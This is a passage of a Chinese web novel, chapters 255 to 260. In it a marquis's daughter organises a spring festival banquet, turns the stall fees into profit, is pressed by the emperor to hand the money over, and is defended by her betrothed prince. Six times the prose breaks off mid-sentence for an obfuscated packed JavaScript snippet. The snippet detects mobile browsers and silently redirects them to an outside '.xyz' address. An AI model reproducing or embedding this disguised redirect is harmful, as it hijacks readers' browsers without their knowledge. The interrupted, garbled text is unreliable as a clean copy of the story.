祝玲珑没想到她会回话,愣了愣,随即不屑地哼了一声,“你这般的女子我见过了,不过是依仗父兄,大门不出二门不迈,只会诗词歌赋的闺阁女子,不是金丝雀是什么?” 第255章 长乐侯好算计! “与你这种人说话,真是无趣。”秦时月摇摇头,抬脚就走。 原以为,祝玲珑口口声声说爱宋墨辰,总该对宋墨辰有些了解。 可现在看来,是她高看祝玲珑了,她,根本不了解宋墨辰。 当然,如果祝玲珑未来能反应过来,收起心里那些嫉妒、小算计,将眼界放得长远些,或许有一天,秦时月会将她视作对手也未可知。 祝玲珑死死瞪着秦时月的后背,目眦欲裂。 就在这时,芳姨娘身边的丫鬟突然从远处走过来,神色带着几分匆忙,“大小姐,夫人有要事请您去花厅一趟。” 秦时月挑挑眉,心中生起几分好奇。 自己与芳姨娘也有阵子没见过了,也不知她突然找自己,究竟想做些什么。 “知道了。”秦时月淡淡应着,转头看向还僵在原地的祝玲珑,“郡主若是无事,便请回吧。” 这明显是下逐客令的意思,祝玲珑却像是没听出来。 她扬起下巴,故意说道:“是什么要紧事,竟能让秦姐姐这般急着过去,我也想去看看,是什么事,竟然比接待我还重要。” 她仗着自己的郡主身份,根本不把侯府的人放在眼里。 听到秦时月要去花厅,祝玲珑起了看热闹的心思,非要跟着去瞧瞧。 “侯府家事,怕是不便让郡主旁听。”秦时月蹙眉。 “有什么不便的?”祝玲珑嗤笑一声,自顾自地往院外走,“我与姐姐也算相识一场将来还要一同伺候王爷,侯府若真有难处,说不定我还能帮衬一把。” 祝玲珑根本不给秦时月拒绝自己的机会。 秦时月看着她,眼神沉了沉,却没再多说什么。 左右侯府那些龌龊事,让她见识见识也好,省得总觉得谁都该围着她转。 两人一前一后出了揽月园,往花厅走去。 不一会儿,俩人就到了花厅,刚穿过大门,就见芳姨娘身边的丫鬟快步迎了上来。 “小姐可算来了。”说着,丫鬟的目光不经意地扫过跟在秦时月身后的祝玲珑,“参见玲珑郡主。” “不必多礼。”祝玲珑摆摆手,“我就是陪县主来看看。” 进入花厅,只见芳姨娘坐在木椅上,手里捏着块帕子,脸上带着一丝焦急。 听见脚步声,她猛地抬起头,在看到祝玲珑时,明显愣了一下,“大小姐,这……” 她要说的事虽然不是什么秘密,但一个外人在,她多少有些说不出口。 “无事,你找我是出什么事了吗?”秦时月直接坐下,开门见山问道。 “玲珑郡主安好,臣妇失礼了。”芳姨娘作个揖。 “罢了。”祝玲珑在花厅里找了个舒服的位置坐下,“我就是来看看热闹,夫人有话尽管跟秦姐姐说,不用管我。” 见状,芳姨娘干脆不再理会祝玲珑,而是转身朝秦时月道:“大小姐,妾身今日请您来,是为了过几日的‘迎春会’。” “迎春会?”秦时月端起茶盏的手顿了顿。 她知道京城里有这个习俗,每年立春前,京中权贵会联合起来办一场盛会,一来是祈求来年风调雨顺,二来也是让各家的公子小姐们互相认识认识。 只不过,上一世她并没有参加过迎春会,自然不知道迎春会是何种盛况。 芳姨娘点点头,“是啊,前几日侯爷说,今年的迎春会,想让咱们侯府来操持,还说,说要摆百桌宴,邀请京里的百姓也来热闹热闹,算是回馈大家。” 她一边说着,一边偷偷观察着秦时月,生怕她露出不悦的表情。 “可你也知道,侯府这些年表面体面,可手里实在不宽裕。”芳姨娘叹了口气,道:“摆百桌宴,光是采买食材和布置场地,就得花一大笔银子,妾身跟侯爷说了好几次,说咱们府里担不起,侯爷都不听,还说这事非你出面不可。” 侯府表面光鲜,实际没有底蕴,想要置办百桌宴,说起来容易,实际上,呵…… 听到这,秦时月便猜到了长乐侯的心思。 “夫人,你确定是父亲想让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16090782|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我出面操持?”秦时月挑眉问道。 “千真万确,刚刚侯爷特意来找我,让我和你说一声。”芳姨娘偷偷观察秦时月的表情。 秦时月冷哼一声。 她那个好父亲哪里是想回馈百姓,分明是看中了她在禹城赈灾时博得的好名声,想借这次迎春会,让她出面操持,好让侯府在京中百姓面前落个“爱民如子”的好名声。 这些年,长乐侯一门心思扑在钻营上,侯府的名声早就不如从前了。 如今想靠她来挽回颜面,倒真是打得一手好算盘。 见秦时月没有表态,芳姨娘担心她不同意,立即说道:“大小姐,你在禹城的时候,把那些灾民都安置得妥妥帖帖的,这次的迎春会,有你出面,一定能办得风风光光的。” 芳姨娘话说得漂亮,却绝口不提具体能给多少银钱。 一来,恐怕是长乐侯授意,再加上侯府原本也没什么底蕴,拿不出这部分钱,二来,芳姨娘没有娘家支持,即便她想趁机讨好秦时月,也没有办法。 所以这件事,只能是秦时月自己想办法。 长乐侯打的好算盘,认为秦时月如今背靠宋墨辰,又经皇帝、皇后多次赏赐,钱肯定是不缺的。 不等秦时月说话,祝玲珑忽然笑了起来,“百桌宴?长乐侯倒是好大的手笔,只是不知道,这银子是侯府出,还是要秦姐姐自己掏?” “郡主说笑了,侯府自然是会出的,只是府里近来周转有些紧,怕是要劳烦大小姐多费心。”芳姨娘支支吾吾道。 她想起长乐侯说的话,内心便感到一阵心疼。 据长乐侯的意思,他既想要秦时月出去把宴会办得漂亮,更想要借势笼络人心。 可说到底,大小姐也只是个刚及笄不久的孩子啊…… 秦时月看了祝玲珑一眼,收回思绪,“父亲的意思我知道了,这事我需要想想,明日再给父亲回话。” 芳姨娘一听,略有些无奈的点点头,“大小姐好好考虑,若实在不行,我去跟侯爷说。” 第256章 应下差事,必要好好办 祝玲珑在一旁看着,心里忽然打起了别的主意,“县主在禹城能号令百姓,想必操持个迎春会也不在话下,那我就期待秦姐姐的表现了。” 若是她真的答应操持迎春会,祝玲珑有的是办法让她出丑! 秦时月语气平淡,“我的事情就不劳郡主费心了。” “呵,那咱们走着瞧。”祝玲珑恨恨地瞪了秦时月一眼,转身快步离开。 秦时月看着她的背影,眼底没有泛起一丝涟漪。 芳姨娘试探性地看了一眼秦时月,眼神有些心疼。 听闻这个玲珑郡主缠辰王缠的紧,也不知,大小姐该有多难过。 秦时月淡淡地看了芳姨娘一眼,点头示意一下,便转身离开了。 小荷立即跟上。 两人走到无人处后,小荷担忧地问道:“小姐,侯府分明是想让您出钱出力,咱们何必答应?” “为什么不答应?”秦时月嘴角微勾,“这迎春会,我不仅要办,还要办得风风光光。” 摆百桌宴回馈百姓,可以。 但她要让所有人都知道,这不是侯府的功劳,而是她这位县主的心意。 至于那些想借机生事的人,她稍加提点,会有人替她“照顾”好的。 “你去和王爷说一声,我要办迎春会。”秦时月眸光悠长。 “是。”影一不知从何处飞来,恭敬地应下,消失。 “小荷,你去帮我请京兆府的参军,孙大人过来。” 秦时月的脸上没有什么表情,只是自顾自地往揽月园走去。 小荷领了领命,立即带着她的贴身玉佩出了侯府。 不过两炷**夫,小荷便将京兆府的孙大人请到了揽月园中。 见到来人,秦时月笔尖一顿,放下手中的毛笔,她走到梳妆镜前,对着妆镜理了理鬓发。 百桌宴要摆在安乐大街上,到时候百姓云集,若是治安出了岔子,丢的是侯府和她这个县主的脸面。 请宋墨辰帮自己,有些小题大做,而孙大人虽官阶不高,却管着京城巡防,让他出手帮忙是最好不过的事情。 收拾完毕,秦时月便出了房间。 刚走到院中,便瞧见孙大人背手站在院中的假山处。 见到秦时月前来,孙大人恭敬地行了个礼,“下官见过明月县主。” “孙大人不必多礼,请到凉亭一坐。”秦时月抬头,看了眼不远处的凉亭,接着示意小荷奉茶。 “劳烦大人跑这一趟。” “县主说的哪里话。”孙大人跟随她走到凉亭中,态度恭谨,“听闻县主要举办迎春会,京兆府理当效力,不知县主唤下官前来,有何吩咐?” 她如今的名声可不是谁能比肩的,他这个孙大人对她,也诸多敬重。 秦时月笑了一下,主动为孙大人添茶,“孙大人唤我秦姑娘即可。” 她想以长乐侯府嫡女的身份牵头办这迎春会,便要以长乐侯府嫡女的身份与孙大人沟通,而不是明月县主,亦或是未来的辰王妃。 “秦姑娘。”孙大人立即明白秦时月的意思,连忙拱手。 “今日请参军来,主要是想商议迎春会当日的治安事宜,百桌宴席摆在西城的安乐大街,到时候百姓**,难免人多手杂。” 孙大人连忙接话,“姑娘放心,下官会准备二十名巡捕,到时候会在宴席周边巡逻。” 话是这样说,可那是百桌宴席,需要相当大的空地,更何况安乐大街平日里就热闹,若是再添上百桌宴席,怕是要挤得水泄不通。 “多谢孙大人,不过,我还有一个请求。”秦时月道:“我已让人在安乐大街两侧划出了二十处摊位,专门给京中的乡绅商户使用,这样一来,商户有了固定地界,不至于随处乱挤,巡捕们盯着这些摊位周边,也能省不少事。” 如此一来,不仅能便于管理,还能增加营收,何乐而不为呢? 闻言,孙大人眼睛一亮,“姑娘考虑得真是周到,下官佩服。下官这就回去安排,再多调些人手,定保迎春会万无一失!” “有劳大人了。”秦时月起身相送,看着孙大人的背影消失在廊下,才对小荷道:“去把账房先生叫来,我得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16094993|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问问宴席用度的事。” 想让她自己出百桌宴的费用,简直是痴人说梦。 安保工作谈妥,接下来就是费用问题了。 不一会,账房先生匆匆赶来,他见到秦时月后,立即躬身行礼,“大小姐有何吩咐?” “你应该听说了吧,父亲要我办百桌宴,你列个单子给我看看。” 账房先生掐着手指算了算,眉头皱了起来,“姑娘,这百桌宴席若是都按上等备,光是肉食就得用掉百余斤,还不算别的,这笼统算下来,没有千两雪花银,怕是办不成事。” 可侯府,根本出不起那么多钱。 “侯府还差这点银子?”秦时月抬眸看他,“如果侯府缺钱,那就不办了。” 这可不是她不想做,是她那个好父亲不愿办,到时候传出去,百姓们只会觉得是长乐侯小气。 听到这话,账房先生思索了一会,连忙回答,“老奴这就去请示。” “去吧。” 待账房先生走后,小荷忍不住问道:“小姐是想逼侯爷出钱?” “他要造势,自然得下本钱。”秦时月语气漫不经心道:“这点银子换侯府的好名声,值了。” 小荷咂咂嘴,暗暗佩服,“小姐说得是。” 秦时月眸光微闪。 话是如此,只是,真让她那个好父亲拿出这么多,怕是要掏空他的老底。 她既然应下了这个差事,该花的,不能省。 “你再去联系一下乡绅、商户们,告诉他们,安乐大街上有二十多处摊位,可供他们摆摊使用,不过,要支付一定的摊位费。” “是。” …… 不出两日,京城中所有的乡绅、商户都得到了秦时月要办迎春会的消息,并得知她特意在安乐街上画出二十个摊位,供他们摆摊。 可摊位有限,他们都想到迎春会散露露脸,顺带赚一波钱。 于是乎,秦时月想到了一个更绝的方式,竞价,一处摊位最低十两银子,价高者得。 这还是前段时间的拍卖会给她的灵感。 第257章 甜甜的糖渣 面对高额的租赁费,商户们依旧争先恐后地抢夺。 看到这一幕,小荷忍不住赞叹,“还是小姐有办法,既得了好名声,又让他们心甘情愿地掏钱。” “花钱买名声,何乐而不为呢?”秦时月笑了一下。 在迎春会上占个摊位,既能赚银子,又能在侯府面前露个脸,这名声可比那点银子金贵多了。 士农工商,商排在最末端,他们最需要的就是名声和口碑,如今,也算是给他们一次露脸的机会了。 只要他们把握好这次机会,何愁挣不到钱? 若是有幸得贵人青睐,坐到皇商的位置也未可知。 “叮嘱他们,一定要谨言慎行,不许欺压妇孺,做出自砸招牌的事。”秦时月眼里容不下沙子,冷着脸吩咐了一句。 “是。”小荷点点头,离开了。 …… 半月倏忽而过,转眼便到了迎春会。 天刚蒙蒙亮,安乐大街上就活泛起来。 二十个摊位依次排开,木牌上写着各家名号。 百张方桌沿着街心铺开,桌腿都用红绸缠了一圈。 今日秦时月未施粉黛,穿了身天青色的襦裙,头上戴了根珍珠发簪,看起来清爽利落。 “小姐,方才我去前头看了,孙大人带了巡捕在街口守着,百姓们都排着队呢,说是要等您来了才肯动筷子。”小荷喜滋滋的回禀。 “哪用等我。”秦时月笑着走出揽月园,“你去说一声,让他们先吃着玩着罢。” 刚走到街口,孙大人便迎了上来,“姑娘可算来了,您瞧,多热闹啊,就连京城周边的百姓都来参加了。” 这迎春会年年都办,可没有一次如今年这般盛大。 秦时月顺着他指的方向望去,果然见不少人背着包袱,匆匆赶来,她笑笑,眉眼柔顺,“大人辛苦了,让弟兄们也轮流歇歇,到宴席上吃点饭菜吧。” “谢姑娘体恤!”孙大人回应,转身便去吩咐手下。 小荷扶着秦时月往街里走,一路上,人流攒动,和她预想的一模一样。 现在的安乐大街,倒有种年街的意味了。 有卖糖画、糕点的食品摊贩,还有卖文物古画等文玩摊贩,就连只有过节才会出现的花灯都有的卖,真是热闹非凡。 这次的迎春会,无论是世家大族的贵女公子亦或是平民百姓都可参与,是真正意义上的与民同乐。 就在这时,迎面走来一个人。 那人穿着青灰色衣袍,腰间系着玉带,手里把玩着个玉佩。 他身边没带随从,可眉眼,却熟悉的让她失了心跳。 “好巧。”宋墨辰率先开口,声音带笑,“本想着买点东西去府上瞧你,不曾想,你竟亲自来了。” 秦时月抬眸看他,心情平复下来才笑道:“既是**持的,总得来看看,倒是王爷,王爷日理万机,竟还有闲情逸致来此。” 听出她的打趣,宋墨辰不仅不恼,反而笑容更甚,“再忙也得来凑个热闹。百桌宴席,二十个摊位,还请了京兆府维持秩序……我是月月,怎能如此聪慧?” 他是有些不高兴的。 这样空前的盛会,她却没有向他求助半分…… “那边备了笔墨纸砚,若是有兴致,不妨写几笔?”秦时月没接这话,转而指着不远处的笔墨摊子。 顺着她指的方向看去,宋墨辰看到几个读书人正围着案子写字。 “你倒会想。”他挑眉,心情愉悦。 “这叫雅趣。”秦时月说着,迈步往那边走去,“就让我来欣赏一下王爷的字吧。” 宋墨辰跟上她的脚步,与她并肩走着,像是一对恩爱的夫妻。 就在这时,一个卖糖葫芦的老汉突然冲了出来。 他上下打量了两人一眼,随即对宋墨辰说道:“这位官人,要给您夫人买根糖葫芦吗?” 听到这话,秦时月脚步一顿。 不等她解释,宋墨辰含笑直言,“来一根……不,全要了,侍书!” 这老汉真是有眼光,他就说,只有自己才和月月是最配的! 侍书没有言语,付过银子,将整个草靶子扛到了肩头。 “尝尝。”宋墨辰挑出一个最大的,卖相最好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16094994|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的糖葫芦递给秦时月,眼睛中闪着光。 秦时月接过糖葫芦,低眉浅笑,“多谢。” “好吃吗?” 她啃了一口,宋墨辰立即问道,只是那目光,牢牢锁在她嫣红的唇瓣上,那里,沾了星星点点糖渣。 “嗯?” 不等秦时月反应过来,宋墨辰突然抽出腰间的扇子,将扇子打开挡在自己脸前。 下一秒,糖突然感觉到了他粗重的呼吸和滚烫的薄唇。 “你,你干嘛?”秦时月惊地往后退了一步,满脸通红又心虚地看向四周。 小荷偷笑一下,识趣地背过身去。 “这是在大街上,被人看到就不好了。” “是我唐突了,夫人美色,我实在是没忍住。”宋墨辰尴尬地咳了一声,脑海里却在回味刚刚的清甜。 “走啦!”秦时月害羞地低下头,步伐有些紊乱。 不一会儿,俩人走到了笔墨摊子前,众人撒开,给他们让出一条路。 宋墨辰笑了一下,拿起桌上的笔随意写下三个大字——“迎春会”。 众学子见状,纷纷惊呼:“这字写得苍劲有力,写的太好了。” “王爷的字,果然不同凡响。”秦时月笑道。 正说着,她忽然听见不远处传来一阵喧哗,听声音像是禹城那边的口音。 紧接着,几个穿着粗布麻衣的百姓挤过人潮朝这边跑来。 为首的是个中年男子,他一眼就瞧见了秦时月,紧接着又看到了她身边的宋墨辰,眼睛猛地一亮,快步上前,他身后跟着十几个禹城百姓。 他们走到宋墨辰和秦时月身前,恭敬地向两人行了个礼,“秦小姐,辰王殿下!” 男人声音激动,“俺们可算见到你们了!” 认出来人,秦时月眸光微闪,连忙扶住他,“赵大叔,快别多礼了。你们怎么来了?” 禹城距离虽说不远,但也有百余里的路程。 赵大叔直起身,眼眶泛红,“昨日俺们听京城亲戚说,安乐大街要办迎春会,是大小姐您操持的,我连夜就带着乡亲们赶来了!” 第258章 皇帝的心思 “小姐,这是家里新收的花生。”一个老婆婆走上前,满脸感动,“你们救了我们禹城,这份情,我们记一辈子!” 宋墨辰伸手接过老婆婆递来的篮子,语气温和,“老人家快收着,心意我们领了。” “我的命都是你们救的,你们可以一定要收下。”老婆婆推搡着。 见状,禹城百姓们纷纷围了上来,将手中抱着的特产一股脑地往秦时月怀里塞。 宋墨辰知道百姓们是好心,但人多容易发**,担心她受伤,连忙挡在她身前。 侍书也连忙抽出腰间的佩剑,警惕地看着四周,这是他身为贴身侍卫的指责和本能。 察觉到侍书的动作,秦时月皱皱眉,随即伸手拍了拍宋墨辰的后背,示意他放心。 “大家伙的心意我知道了。”秦时月站出来说道:“既然是大家的一番心意,那我就收下了。” 说完,眼神示意小荷。 小荷立即上前走了一步,示意百姓们可以将东西交给她。 赵大叔对百姓们吼了一嗓子,“乡亲们都听俺说,秦小姐是咱们禹城人的救命恩人,如今小姐办这迎春会,咱们今儿个必须要多多支持!” 禹城百姓哄然应着,三三两两地散开。 …… 三日后,迎春会结束,秦时月坐在房中看着这三日的进账,满意地点了点头。 这三日,光是各家商户的流水就有十二万两,京兆府收的摊位费和杂税加起来也有三万多两,统共算下来,比往常用一个月的进项还多十倍不止! 秦时月起身走到窗前,眉眼深邃的看着宫墙的方向。 这银子数目太大,怕是有人坐不住了…… 果然,第二日天刚亮,皇帝便传旨,让秦时月进宫面圣。 她整理了一下自己的仪容,跟着太监进了宫。 进入御书房后,秦时月屈膝行礼,“臣女参见陛下。” 看见她,皇帝眼神微暗,随手将手中的棋子丢进棋盒,面上慈祥地看着她,“时月来了,赐座。” “谢皇上。”秦时月道谢。 “你办的迎春会,朕听说了。短短三日,京城创收十倍,商户欢腾,百姓称颂,倒是桩难得的好事。” 秦时月垂眼,谦虚道:“臣女不敢居功,都是托皇上的福,圣恩浩荡,百姓才敢安心赶会,商户才愿尽力经营。” 闻言,皇帝笑了笑,眉眼深邃,里边带着几分试探,“朕听说,禹城百姓感念你,特意赶来捧场。” “臣女不过是做了分内之事。” “说起来,孙大人递了折子,把这三日的进项一笔一笔记清了。”皇帝话锋一转,“商户流水十二万,杂税三万七,加起来,可是不小的数目啊。” 空气突然变得安静。 秦时月抬眸,恰好对上皇帝的目光。 “回皇上,商户流水是他们辛苦所得,臣女不敢插手,只是臣女从侯府支取的用度,加上京兆府收的摊位费,确实有笔结余。” 听到这话,皇帝没有说话,他在等着她的后话。 “臣女正想着,这笔银子本就来自百姓,不如献给国库,用于修缮河道、赈济灾民,也算物归原主。”秦时月起身,恭敬跪下,心里却暗骂一声:狗皇帝,自己没本事,倒是会惦记别人的劳动成果! 不过,就算是这笔钱不给皇帝,她那个好父亲怕是也会问她要,既如此,不如全捐出去,也好在皇帝面前博个好感。 皇帝眼底闪过一丝惊喜,“哦?你愿意献出来?” 本以为还要费些功夫,没先到这秦时月倒是个机灵的。 “臣女不敢私藏。”秦时月深深叩首,“天下财物,本就属皇上所有,如今迎春会有了结余,自然该交还朝廷,听凭皇上处置。” “好!”皇帝龙心大悦,喜上眉梢,“你有这份心,朕很欣慰。” 今日他将秦时月唤来的目的就是为了拿到这笔钱,她如今主动把钱送上,也算是解决了他的心头事。 皇帝站起来,走到案前,他拿起毛笔,在宣纸写下“宴会功臣”四个大字,“这字赏你,算是朕对你的嘉奖。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16101969|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秦时月双手接过字幅,轻声谢恩,“谢皇上恩典。” “你也不必拘谨。”皇帝看着她。 听到这话,秦时月露出一副假笑。 单是看皇帝给她的题字,她就知道,皇帝这是把她当成了冤大头,不仅要自费办宴会,还要费心费力操持,最后银子还得全部上交。 真是打得一手好算盘! 不行,得想个办法,让皇帝断了这心思,否则,日后还不知要被算计几次。 就在这时,一个小太监走进来禀报,辰王觐见。 听到这话,皇帝眉头一皱。 那个逆子早不来晚不来,偏偏秦时月才来不久他就到了,说不是为了她,谁信? “让他进来吧。”皇帝收敛情绪,冷声道。 宋墨辰一进门就行礼,“儿臣参见父皇。” “你不在府里理事,跑到御书房来做什么?”皇帝挑眉问道。 “听闻父皇召时月入宫,臣正好在宫门外督办些差事,想着或许能为父皇分忧,便斗胆求见了。”宋墨辰的目光扫过秦时月,见她无碍,心里的大石才落下。 “不知父皇正与县主说些什么要紧事?” “正说迎春会的事呢。”皇帝满意地说道:“时月能干,短短三日就让京城创收十倍,方才还说要把结余的银子全献出来。” 闻言,宋墨辰把目光转向她,见她低着头没说话,便猜她心情不好。 “父皇,有句话不知当讲不当讲。” 皇帝心情大好,也不拘和他计较那么多,“但说无妨。” “迎春会能有这般成效,多亏了时月调度得宜。”宋墨辰语速放得缓,“儿臣前几日帮着清点过账目,知道这里头的难处。” “就说那百桌宴席,光是采买米粮就用了三千两,租赁结实桌椅和雇人花了八百两,零零总总加起来,没有上万两,怕是完成不了。” 他顿了顿,目光落在秦时月身上,“这些年长乐侯府亏空,怕是掏不出银子,百桌宴的钱,恐怕都是时月从自己的私库里出的。” 第259章 为她,感撼天地! “你的意思是,她献的那三万七千两,还得先把这一万两扣出来?”皇帝的脸色有些难看。 “不仅如此。”宋墨辰面色不该改,“时月这宴会办得好,除了她付出的那些,难道不该赏吗?” “你是什么意思!”皇帝冷脸。 “扣除举办迎春会所需的一万两,奖赏时月一万两,剩余的……充入国库,父皇觉得如何?”宋墨辰直言。 想贪墨他老婆的辛苦钱,做梦! 听到这话,皇帝气得浑身发抖,他愤怒瞪着了宋墨辰一眼,眉头紧皱。 可宋墨辰面上恭敬,实则分毫不退,眼神直勾勾地望着皇帝。 半晌,皇帝像是忽然想通了什么,摆摆手,“就依辰王所言。” 秦时月心中原本还在为宋墨辰的直言担心,如今的结果,让她怔愣片刻,连忙屈膝叩首,“谢皇上。” 宋墨辰也跟着躬身,“父皇圣明。” “退下吧。”皇帝冷哼一声,皮笑肉不笑的瞪着宋墨辰。 “儿臣和时月告退。” 不等秦时月反应过来,他直接拉着秦时月的手走出了御书房。 “今日,多谢你,但你不该如此莽撞……”秦时月抽回手,拧着眉,不赞同的道。 她看着手里的那副字,眼底闪过一丝讽刺。 “谢什么。”宋墨辰放慢脚步,与她并肩走着,“你本就该得的。” 这皇帝也太贪心,竟然直接要钱,看来自己的计划要提前了。 “方才在殿里,你那样说,就不怕皇上心里不快?” 她知道宋墨辰的谋划,可现在是关键时候,与皇帝撕破脸,并不是什么明智之举。 “不快又如何,他本就不喜欢我,多这一桩少这一桩,也没什么分别。” 秦时月挑眉看他,“你倒是看得开。” “不然呢?”宋墨辰停下脚步,“难道要因为怕他不快,眼睁睁看着你挣的钱上交国库?” 这话倒是直白。 “我原以为,你会劝我忍一忍。” 闻言,宋墨辰皱皱眉,突然抬手将秦时月抱进了怀里,“若是连你都护不住,那我这个战神王爷也就不必做了!” 秦时月窝在他的怀里,心里是从未有过的感动。 两世为人,有人坚定的站在自己身边,护着自己的感觉……真好。 回去的马车上。 宋墨辰看着秦时月,一副欲言又止的表情。 “你想说什么?”她主动问道。 “你心里,到底是怎么打算的?”宋墨辰认真地问了一句。 他知道她的性格,知道她不是那种会平白布置百桌宴,吃力不讨好的人。 他们是同一种人,但凡做一件事,必然会考虑后面。 “你真了解我。”秦时月想了想,缓缓开口,“其实在办迎春会之前,我就有行商的念头了。” 虽然商人的地位最低,但商人挣到钱的也最多,若是掌握商路,也算捏住了靖垣的一条命脉。 再者,秦时月受东方苑的教育,认为士农工商,并没有贵贱之分,大家都是靠自己手艺赚钱吃饭。 更何况,侯府的日子看着风光,内里早就空了,他们总不能一直靠着那点俸禄过活。 闻言,宋墨辰有些意外,“行商?你想做什么生意?” 他是赞成她做生意的,只要是她想做的,他都会支持。 “还在思考中。”秦时月掀开车帘,看向街道两边的商铺,“百姓需要热闹,也需要实在的物件,商户需要客源,也需要规矩,若是能把这两样凑到一起,未必不是条路。” 先前东方苑和她说过,在东方苑的家乡,有什么商业街,街道上是各式各样的店铺、小摊。 如果她也做商业街呢? “你的意思是?”宋墨辰似乎明白了什么,“还要接着办**?” “不是**,是更长久的东西。”秦时月摇了摇头,“**再热闹,也只是一时的,散了场,安乐大街还是那条大街,商户该怎么样还怎么样” “可若是能弄出一条专门的商业街,让街道日日那般热闹呢?”秦时月挑眉, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16101970|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼神发光地看着他。 一个大胆的想法在脑海中迸出。 “商业街?”宋墨辰重复了一遍这三个字。 他从来没听过这种说法,并不知道她口中的商业街是否可靠。 “你的意思是,划出一块地方,让商户们长久地在那里经营,就像迎春会的摊位,但不是三日,而是长年累月?” “正是。”秦时月点头。 迎春会能创收十倍,靠的是人流和商户们的信用。 若是能把这些都固定下来,弄出一条有特色的商业街,让百姓愿意常来,商户能安稳赚钱,岂不是比办一场**更划算。 “你倒是会想。”他低头笑了一下。 她的主意确实很不错,商业街,不仅能给百姓们带来便利,还能把商户**起来,形成良好的管理体系。 “你想开在哪?”宋墨辰追问了一句,“安乐大街吗?” “对。”秦时月点点头。 一来,安乐大街人流量多,二来,迎春会就开在这边,也算是有一定基础的。 只不过,若是要举办商业街,就要把这条街上的所有店铺买下来,而不是像迎春会似的,在街上摆几个摊子。 原本她还在为钱的事情发愁,幸好宋墨辰帮她争取回来了两万两,再加上私库里攒的,租下整条街上的商铺,应该是够了的。 他知道,她若是举办商业街,必然要花费不少银子,便主动提出,将自己名下所有产业的收入全部交给她,让她随意使用。 “不可……”秦时月眉头一拧,推脱道。 他虽然是她认定的男人,但她也有自己的产业、收入,她断不能接受这样大的一笔入账。 “就当是我把钱交给你打理还不成吗?”宋墨辰回应,“我再派几个人帮你,若是自己搞不定,一定要和我说。” 有他出面,那些对这个商业街有念想的,就不敢轻举妄动了。 秦时月不是不识趣的人,知道他是为自己好,便答应下来,心里想着,反正到时候赚了钱,他也能得到分红。 第260章 两个蠢货的算计 马车缓缓地往前走去,不到一盏茶的时间,马车便停在了侯府门口。 翌日,她拿着宋墨辰给的那个锦盒来到安乐大街上,将所有的商铺买下。 正在营业的商铺,秦时月让他们继续营业,并帮助掌柜积极改进营业方法,空着的铺子,她直接对外招租,鼓励所有的乡绅、商人前来租赁。 很多商户通过迎春会看到了商机,纷纷前来租赁铺子,想要跟着她一起发家致富。 对此,她十分热情地欢迎。 短短几日时间,商业街便有了规模。 看到秦时月发展得这般好,祝玲珑气不打一处来。 原本她是想要在迎春会的时候给秦时月捣乱,让这个迎春会办不起来。 可迎春会那几日,宋墨辰将她禁足并命人看管,她不得外出,也没有机会,才出府就听说秦时月挣到了不少钱。 凭什么,凭什么所有好处都被那个**得了去!? 祝玲珑越想越气,恨不得现在就去将秦时月撕碎。 在她对面的赵景阳坐在梳妆镜前,拿起簪子看了看,最后烦躁地将簪子扔回妆匣。 “这秦时月是不是踩了狗屎运!”赵景阳抬眼看向铜镜里的祝玲珑,“不过是个商户堆里混出来的野路子,竟能把这条破街盘活了!” “可不是!”祝玲珑冷哼一声,语气中充满不屑,“她不就是仗着和辰王殿下的婚约,在京城里为非作歹。” 